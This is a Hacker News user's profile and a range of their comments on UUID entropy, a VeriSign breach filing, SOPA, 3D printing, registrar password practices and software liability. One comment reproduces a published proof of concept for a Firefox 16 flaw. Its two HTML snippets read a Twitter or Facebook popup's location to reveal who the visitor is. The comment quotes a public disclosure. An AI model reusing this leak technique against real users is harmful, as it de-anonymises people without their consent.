HN user
Life's a fun puzzle.
[ my public key: https://keybase.io/righi; my proof: https://keybase.io/righi/sigs/p_HHMREmd_TwmToC9sOLgihIH1zQMN4IEnOeWuga2Cw ]
A possible explanation from a 2003 paper is Electron Holes ( http://en.wikipedia.org/wiki/Electron_hole )
"Rocks That Crackle and Sparkle and Glow: Strange Pre-Earthquake Phenomena"
http://www.scientificexploration.org/journal/jse_17_1_freund... [PDF]
I work for Nook as a Rails developer in Palo Alto. I'm not authorized to speak on behalf of the company, blah blah blah, but I just wanted to post a quick comment saying that this news should NOT be interpreted as Nook going out of business. In fact, we're actively hiring devs here in Palo Alto and also in New York: http://www.nook.com/careers/locations
I really wish I could provide details, but I'll just say that I would be extremely surprised if Nook wasn't around and doing well in five years. My coworkers and I really enjoy working here, and none of us worry about job security.
Whether or not this was built as a joke, there could be real benefit from a service like this.
Imagine you need a UUID in JavaScript. Here's a function that does it:
function UUID() {
return "4444-8888-FFFFFFFFFFFF";
}
'xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx'.replace(/[xy]/g, function(c) {
var r = Math.random()*16|0, v = c == 'x' ? r : (r&0x3|0x8);
return v.toString(16);
});
Given enough time, two browsers will eventually generate a UUID at the same moment, meaning they both use the same seed and therefore generate the same UUID.
So, why not seed a pseudo-random number generator in JavaScript yourself with something better than the current time? Because client-side JavaScript doesn't have access to good sources of entropy. Within the browser, your sources of entropy are limited to things like the current time, the window dimensions, the user agent string, the number of plugins installed, etc. You could capture mouse movements and keyboard clicks over time, but it would take a while to generate sufficient entropy for a cryptographically secure random number. Also, if you need to generate a UUID on page load you can't wait for the user to jiggle their mouse.
Meanwhile, the server has access to better sources of entropy. For example, many /dev/random implementations use the time between hard drive seeks as a source of entropy. Of course this entropy pool would be exhausted quickly, but you could replenish the pool with outside sources of entropy such as white noise from a radio ( https://www.random.org/history/ ) or even radioactive decay ( http://www.fourmilab.ch/hotbits/ ).
I don't know what sources of entropy http://uuid.me is using to generate random UUIDs, but it might be better than what JavaScript is capable of on its own. If uuid.me served its UUIDs in JSON, then you could make a JSONP call in JavaScript, providing you with a UUID that is much less likely to ever collide with another client's UUID.
If you're curious like I was, you can find the details of the vulnerability described by Gareth Heyes at http://www.thespanner.co.uk/2012/10/10/firefox-knows-what-yo...
His proof-of-concept of the vulnerability can be found at http://www.businessinfo.co.uk/labs/firefox_knows_what_your_f... (Best fetched via curl... or Firefox 16.0 with an active Twitter session if you're daring.)
Or you can just see the source here:
<!doctype html>
<script>
function poc() {
var win = window.open('https://twitter.com/lists/',
'newWin', 'width=200,height=200');
setTimeout(function(){
alert('Hello '+/^https:\/\/twitter.com\/([^/]+)/.exec(win.location)[1])
}, 5000);
}
</script>
<input type=button value="Firefox knows" onclick="poc()">
<!doctype html>
<script>
function poc() {
var win = window.open('https://facebook.com/profile.php',
'newWin', 'width=200,height=200');
setTimeout(function(){
alert('Hello ' + win.location);
}, 5000);
}
</script>
<input type=button value="Firefox knows" onclick="poc()">As a developer, I agree that captchas can be a drag on users, and I think we should put serious thought into whether or not their UX-cost is justified. Personally, I try to avoid using them on sites I build.
That said, as a user, it's hard to hate ReCaptcha after hearing Luis von Ahn talk about and defend his invention: http://www.youtube.com/watch?v=-Ht4qiDRZE8
It's a clever way to digitize books (and now street signs) while keeping out spambots, and when I combine that knowledge with my affinity for Luis von Ahn as a person I find myself less annoyed every time I have to prove I'm not a robot.
The reuters article provides no details about the security breach, so I did some digging. The most I could find was VeriSign's original SEC filing at http://www.sec.gov/Archives/edgar/data/1014473/0001193125112...
From the filing: We experienced security breaches in the corporate network in 2010 which were not sufficiently reported to Management.
In 2010, the Company faced several successful attacks against its corporate network in which access was gained to information on a small portion of our computers and servers. We have investigated and do not believe these attacks breached the servers that support our Domain Name System (“DNS”) network. Information stored on the compromised corporate systems was exfiltrated. The Company’s information security group was aware of the attacks shortly after the time of their occurrence and the group implemented remedial measures designed to mitigate the attacks and to detect and thwart similar additional attacks. However, given the nature of such attacks, we cannot assure that our remedial actions will be sufficient to thwart future attacks or prevent the future loss of information. In addition, although the Company is unaware of any situation in which possibly exfiltrated information has been used, we are unable to assure that such information was not or could not be used in the future.
The occurrences of the attacks were not sufficiently reported to the Company’s management at the time they occurred for the purpose of assessing any disclosure requirements. Management was informed of the incident in September 2011 and, following the review, the Company’s management concluded that our disclosure controls and procedures are effective. However, the Company has implemented reporting line and escalation organization changes, procedures and processes to strengthen the Company’s disclosure controls and procedures in this area. See Item 4 “Controls and Procedures” in Part I of this report.
It's interesting to note that the SEC issued guidelines on the reporting of security breaches on October 13th, 2011 ( http://www.sec.gov/divisions/corpfin/guidance/cfguidance-top... ) and VeriSign's SEC filing was released about two weeks later on October 28th, 2011. It could be the case that the security breach wasn't actually a major one, but because the SEC guidelines were so new they thought it prudent to mention even a minor security breach.
From this filing, there's no way to know the severity of the breach, which is why I think it's unfair for reuters to make this seem like a bigger deal than it might actually be. (They mention the RSA security breach which was a huge deal, and they suggest the attack was done by a "nation-state".) It reads like an article written by Nancy Grace.
Of course it could be the case that this was a major attack carried out by China, but it could also be a mundane attack on a public web server that wouldn't have made the news if not for the timing of the recent SEC guidelines. There's just no way to know from the information available.
This reminds me of the story from about ten years ago about a racist police dog in Pittsburgh that would attack bystanders: http://www.oocities.org/ericsquire/articles/dogs/wtae030425.... and http://web.archive.org/web/20080503212841/http://dir.salon.c...
Tangent: I'm extremely frustrated at how ephemeral web pages are. I googled the story to provide a reference, and the most reputable sources for the story are dead. I found 404s on Salon.com, Fox News, the Pittsburgh Tribune-Review, and PBS.org. Sadly, I found some of these links on a racist forum. It sucks that Storm Front keeps bytes around longer than these other sites.
Anyway, I just donated $25 to archive.org to support what they're doing. I've been using the Wayback Machine for years and always took it for granted. I'm not sure what made things different about tonight's frustration at broken links, but for the first time I just became worried about the preservation of history.
And the only way to stop future SOPAs is to make the system less corrupt, which means taking money out of politics.
This is why Lawrence Lessig left the fight against intellectual property craziness to focus on the underlying problem of corruption.
It's been years since I heard Lessig was shifting his focus to fight corruption, and recently SOPA got me curious about what he's been up to and if SOPA had brought him back out of "retirement". That led me to this article, "Why Is Lawrence Lessig MIA In The Great SOPA Piracy Debate?" http://m.paidcontent.org/article/419-why-is-lawrence-lessig-...
which led me to Lessig's response: http://lessig.tumblr.com/post/13119510676/me-mia-on-the-sopa...
which led me to his iniative to fight political corruption through campaign finance reform: http://www.rootstrikers.org/
I'm actually glad to see that Lessig isn't letting SOPA distract him from his fight against corruption which is the root of the problem. Stopping SOPA would be a huge win, but it would only be a battle win, and as long as we're losing the corruption war there are going to be many more SOPAs to fight in the future.
Between this post and comments from startup school along the same lines, there seems to be a lot of people complaining about founders looking to make a quick buck without having to work hard for it.
I live in SF. I'm running a startup, and many of my friends are as well. Where are these lazy, get rich quick people I keep reading about? Am I just lucky to only be surrounded by hard-working entrepreneurs who are trying to build long-term viable businesses, or is this problem being overblown a little?
This is me genuinely asking, not making a statement in question form.
When I think of ridesharing this much more pleasant one comes to mind: http://en.wikipedia.org/wiki/When_Harry_Met_Sally
I believe you're thinking of this: http://www.youtube.com/watch?v=EfbhdZKPHro
Also related: http://inhabitat.com/3-d-printer-creates-entire-buildings-fr...
I am not the author of the article, just the submitter. However, I'll run with your comment anyway...
Tensile Modulus (aka Young's Modulus) is a measure of how stiff a material is. Specifically, it's a measure of how much a material stretches under load. (Diamond has a very high tensile modulus while rubber has a very low tensile modulus.)
Ten years ago, people were 3D printing in plastics with a tensile modulus of under 1,000 MPa and they were happy with that. Today you can print in DSM Somos NanoTool which has a tensile modulus of 11,400 MPa. Keep in mind this is a plastic. ( Source: http://www.dsm.com/en_US/downloads/dsms/NanoTooleng_10.09.pd... )
If you need even stronger materials then you should consider using an SLS (selective laser sintering) printer that can build products in titanium, aluminum or steel. Imagine how many ants could safely walk across a bridge 3D printed in any of these!
3D printing isn't feasible for the the mass manufacturing of everything yet, but it's feasible for certain types of products today, and it is improving. Here are some ways in which 3D printing has moved closer in the last few years:
* Stronger materials, such as Somos NeXt resin: http://www.dsm.com/en_US/html/dsms/next.htm
* Cheaper materials
* BioCompatible materials, such as Med610 which just came out last week: http://www.objet.com/3D-Printing-Materials/Overview/Bio-Comp...
* The ability to print in more than one material at a time, as shown in these human feet: http://www.objetblog.com/2011/09/21/a-table-of-3d-printed-fe...
* Higher resolution printing, such as the Objet Eden500V which can print detail as small as 0.0006”: http://www.objet.com/3D-Printer/Objet_Eden500V/
Examples of consumer products currently being made with the help of 3D printers include:
* Invisalign braces: http://www.youtube.com/watch?v=EVQq9joOS_4
* Hearing aids: http://i.materialise.com/blog/entry/3d-printing-in-medicine-...
* Jewelry: http://www.summerized.com/jewelry/
Things will really take off for 3D printing when printers can simultaneously print in multiple materials like plastic, metal, and rubber, and in multiple colors per part. Until then, you're right that 3D printers will continue to be used primarily for rapid prototyping, but this will change within a few years as the technology continues to improve and the cost continues to fall.
tl;dr The IRS built an app for the iPhone. They built it using tools and libraries that hadn't internally been approved by the IRS. The team in charge of the app could have requested a waiver to use non-approved software, but decided not to because of time constraints. This was detected during a security audit. The audit was performed because this was the first time the IRS developed an iPhone app and they wanted to make sure it had been built securely.
The project wasn't criticized for using open source software or Objective C. They were criticized for using non-approved software and for not getting a waiver to use the non-approved software.
Who said it was better than Bluetooth?
There are a lot of existing hardware devices that have RS232 connections but don't support Bluetooth. For those devices this is "better" than Bluetooth in the sense that Bluetooth isn't an option at all.
Along the lines of String best practices, my favorite is to reverse the usual order of variable and literal to avoid null pointer exceptions:
if("botulinum".equals(bacteria))
if(bacteria.equals("botulinum"))I've also tried to find a search engine that supports regex and have come up empty. I hope somebody on this thread pleasantly surprises me, but I now doubt one exists.
Since parsing regular expressions is so slow compared with performing an indexed search, it's difficult to think of a way to make that scale for a dataset as large as the public web. There's also the problem of having to protect against regex denial of service attacks: http://en.m.wikipedia.org/wiki/ReDoS
I've been able to (very partially) make up for the lack of regex support by taking advantage of Google's operators and wildcards:
http://www.googleguide.com/wildcard_operator.html
http://www.googleguide.com/advanced_operators.html
Some examples:
"solar|lunar eclipse 1700..1800"
"William * Clinton"
Columbus -Ohio -Georgia -Christopher
In the past few weeks, we’ve discussed a new approach that we think will strike a better balance by giving our customers greater control over password management and at the same time ensuring the basic security of those passwords. I’m personally very pleased that our approach will have appeal to customers that are concerned about password security and customers that appreciate the benefits of great usability (and for customers who are concerned about both, blow their socks off
Could anybody find the blog post they are referring to that explains their balance between simplicity and security? I was unable to. However, it does appear that they still send plaintext passwords via email: https://www.hover.com/send_password
If you're looking to switch registrars, I can't say enough good things about http://gandi.net. Their motto is literally "no bullshit" and it's the reason I switched to them a few years ago. They aren't the cheapest option, but their UI is very simple and aesthetically pleasing, they offer free DNS hosting, they don't clutter their checkout pages with any ads or ridiculous upsells, they don't kill elephants for fun ( http://mashable.com/2011/04/01/bob-parsons-elephant-story/ ), and they don't email your password in plaintext. There are very few companies I'm willing to rave about, but Gandi is one of them.
It's going to work for about a year, then when there is a security failure the company will turn around run git/svn blame and sue the individual employee.
You bring up an interesting topic which is an extension of the first one. If the forces motivating a company to do the right thing are 1) desire to gain and not lose customers 2) desire to not be penalized by the government and 3) desire to not be sued, then what motivates an employee to also do the right thing? (I'm generalizing the question because this applies to so many things, but I'll switch back to talking about "building secure software" as a specific example of "doing the right thing".)
A software developer should be motivated to build secure code because of these motivators: 1) Desire to build or maintain a good reputation among peers 2) Desire to not get fired 3) Desire to protect employer from harm 4) Desire to protect customers from harm 5) Desire to just do things the right way for the sake of preferring good things over bad. (There's probably a more elegant way to phrase that last one, but it's like how an architect might fight against proposed changes to a blueprint for the sake of the building itself.)
To err is human, and companies are composed of humans. When a company hires a software developer, they are inherently taking on the risk that this human will make mistakes, so I don't think developers should be legally liable for bugs or vulnerabilities in their code unless they are incredibly egregious or intentional. It's the company's responsibility to anticipate the possibility of bugs and vulnerabilities, and to mitigate that risk by hiring good people, and by having good policies, procedures and training. (By having code reviews and conducting security audits, for example.)
I'm sure we're in agreement that developers shouldn't be sued for mistakes in their code, but whether or not they can be sued for honest mistakes is another question. I don't know what the law has to say about that, but if employees aren't already protected against lawsuits for non-egregious mistakes then that should be changed.
Hopefully the laws would be written so that when you post security best practices in your TOS and the customer does not follow them the liability can be mitigated (eg. don't reuse passwords on multiple sites)
I totally agree. Customers have to bear some of the responsibility as well.
Re: AT&T where are they going to go? T-Mobile?
My point exactly! Going back to three motivators I mentioned for companies to do the right thing, AT&T knew it wouldn't lose a significant number of customers over the NSA spying issue because there's not much competition in their space. (That and apathy, unfortunately.) Also, they knew they wouldn't get penalized by the government for, well, forking data over to the government. That leaves the only viable option being to sue AT&T... except that power was taken away by retroactively granting AT&T immunity by FISA. ( http://en.wikipedia.org/wiki/Hepting_v._AT%26T ) This is what makes the AT&T/NSA issue so upsetting. All motivations for AT&T and other telecoms to "do the right thing" have been taken off the table.
I hold an unpopular opinion that lawyers and lawsuits are a great way to motivate companies to "do the right thing", where in this case the "right thing" we're talking about is protecting customer data.
Another great motivator for doing the right thing is knowing that customers will vote with their wallets. Unfortunately this isn't always a strong enough motivation because some markets don't have enough competition, or the cost and hassle of changing the companies you do business with is too high. (Don't you wish customers had left AT&T in droves over the NSA spying ordeal?)
That's where another force comes into play, which is government regulation. I lean libertarian, and although I think some regulation is an absolute necessity (especially on environmental issues) my preference is to have the least amount of regulation necessary. That brings us back to the attorneys. When a company like Sony screws up and exposes their customers' data, I'd rather see them get their pants sued off than have the government step in and regulate. Fear of being sued is a much more compelling reason to "do the right thing" than fear of breaking a law, which might only get you a slap on the wrist.
Do frivolous lawsuits exist? Yes, and they piss me off like the next person. Do scumball attorneys exist? Yes, and I hate them like you do. Ironically, I think some of this problem could be solved with new laws, but I haven't really thought about it enough to more specific. (Maybe something along the lines of the loser having to pay the the other side's legal fees, but I can also argue against that from ten angles. I really haven't spent enough time thinking about how to minimize frivolous lawsuits to feel like I can say anything intelligent about it, other than to say that I bet something can be done.)
Anyway, my point is that companies have different forces that can/should/do motivate them to provide data security, and the threat of lawsuit is an excellent one, right up there with fear of losing customers and fear of government regulation. Too much of any one of these forces is bad, but we wouldn't have a healthy mix without attorneys and their lawsuits.
There are so many comments in this thread which seem to be in response to an article different than what I read, that I'm wondering if the link changed.
Why isn't anybody commenting about the surprise ending to this article? Spolier: People thought Hemmingway was crazy for thinking the FBI was after him, but after he died it turned out they really were building a case on him.
There's probably a cost to having wrinkly fingers which is why they don't wrinkle immediately.
But if enough of our ancient ancestors fell into bodies of water surrounded by steep, slippery rocks, then the 15-minute delay for gecko fingers to set in would be worth the wait. As long as they could tread water or hold their heads above it long enough, the grippy fingers might have really helped.
Edit: I like katovatzschyn's reasoning even better: http://news.ycombinator.com/item?id=2718662
Not everyone is gripped by the new theory. "This hypothesis is unjustified", says Xi Chen, a biomechanical engineer at Columbia University in New York. Chen thinks that the wrinkles have a simpler cause: when fingers are immersed in hot water, the blood vessels tighten and the tissue shrinks relative to the overlying skin. This contraction causes the skin to buckle. "It's a classic mechanics problem," he says.
Ugh. Explaining the mechanism behind a behavior is not an argument against its purpose!
Scientist A: I think polar bears evolved white fur so they'd be camouflaged in the snow.
Scientist Crazy Pants: No silly, polar bears have white fur because their hair follicles contain keratin and are hollow.
Scientist A: I'm going to kill you.
I can appreciate the benefits of lowering your expectations of others, but I have trouble reconciling how to lower expectations of oneself without sacrificing your goals.
My friends and family often tell me that I'd be more content if I lowered my self-expectations, but I have trouble not equating that with throwing in the towel.
Is it possible to obtain a healthy balance in the middle? I hope so, otherwise I worry that the next Benjamin Franklin, or Steve Jobs, or insert-your-favorite-overachiever-here will read advice like this and take the easy route instead of working harder to follow their dreams.
Seriously though, I'd be thrilled if anybody could suggest that both are somehow possible.
I have three Google Apps accounts. The new themes are available in two of my three Google Apps accounts. I'm an admin on all three accounts, so I'm not sure why the new themes aren't available for some Google Apps users.
I don't understand the hatred toward 99 designs. Should people expect the most awesome work from it? No. Is it a good solution for startups with a small budget who can't afford anything else? Maybe, but that's for them to decide.
No designers are forced to participate in 99 designs, and no companies are forced to use them. What they do is legal and ethical, so what's the problem?
I release all of my photos under a Creative Commons license on Flickr, and I've received comments from professional photographers complaining that my hobby hurts their profession. So what if it does? If amateurs are willing to do something for free, then that should encourage professionals to differentiate themselves by being better. If lowering their prices is also a consequence of that then so be it.
It reminds me of people who are against open source software because it competes with people who make and sell software for a living. Again, should open source groups stop what they're doing out of respect for people who do this for a living? I don't think they should. Especially when you realize that most open source contributors are professional developers who make a living building software.
I don't mean to disrespect designers at all. In fact, I have a tremendous amount of respect for great designers, and I've found that you usually get what you pay for when it comes to design. I wouldn't personally use 99 designs, but I just don't understand the hatred that a lot of people have toward them.
P.S. If you're looking for a great designer in the bay area, and you can afford a little more than 99 designs, I recommend Dual Aesthetic. http://www.dualaesthetic.com/
That $200MM figure came from MocoSpace, a "potential" buyer, not from MySpace. But I don't think MocoSpace's offer was more than an attempt to grab attention for itself, which means it was to their benefit to quote a large number.
From https://allthingsd.com/20110210/myspace-is-certainly-for-sal... , "... the look-at-me attempt to suck up some attention from the media was riveting and appalling at the same time."
If I put out a press release saying I'd like to buy Facebook for a trillion dollars -- you know, to impress a girl -- it wouldn't be fair to turn that into a claim that Facebook now thinks it's worth a trillion dollars.
One of my pet peeves is when people say that they have a MySpace instead of saying they have a MySpace account.
I wonder how many of those people will hear that somebody sold MySpace for $35 million and get excited thinking they're about to become rich by selling their MySpace too! :-)
Howard Roark (of Ayn Rand's Fountainhead) would hate where Apple is taking their design.
From the book:
"His buildings are austere, logical, perfect, each a single thought in stone. He believes that buildings, like men, have souls, and that no part of a building should in any way betray its soul. No building should borrow its parts from others or apologize for its own shape. No building should present a false front."
And another quote:
"The buildings in these drawings are like none ever built on earth. They seem severe and simple at first glance, but closer observation reveals the strict tension of thought and method, a cold, beautiful logic behind each wall and pillar. Every building seems to have a soul."
I hope Apple turns down the woodgrain knob and cranks up the cold, beautiful, and logical knob in their future designs.
Mobsters have accountants, drug dealers make loans, and I'll bet even hitmen have todo lists.
Illegal operations function using the same business machinery that legal businesses do, so we shouldn't be surprised to see them adopting current trends such as the SaaS model.
Don't get me wrong... it's very interesting, and before reading this article I was unaware of it. It's just not surprising.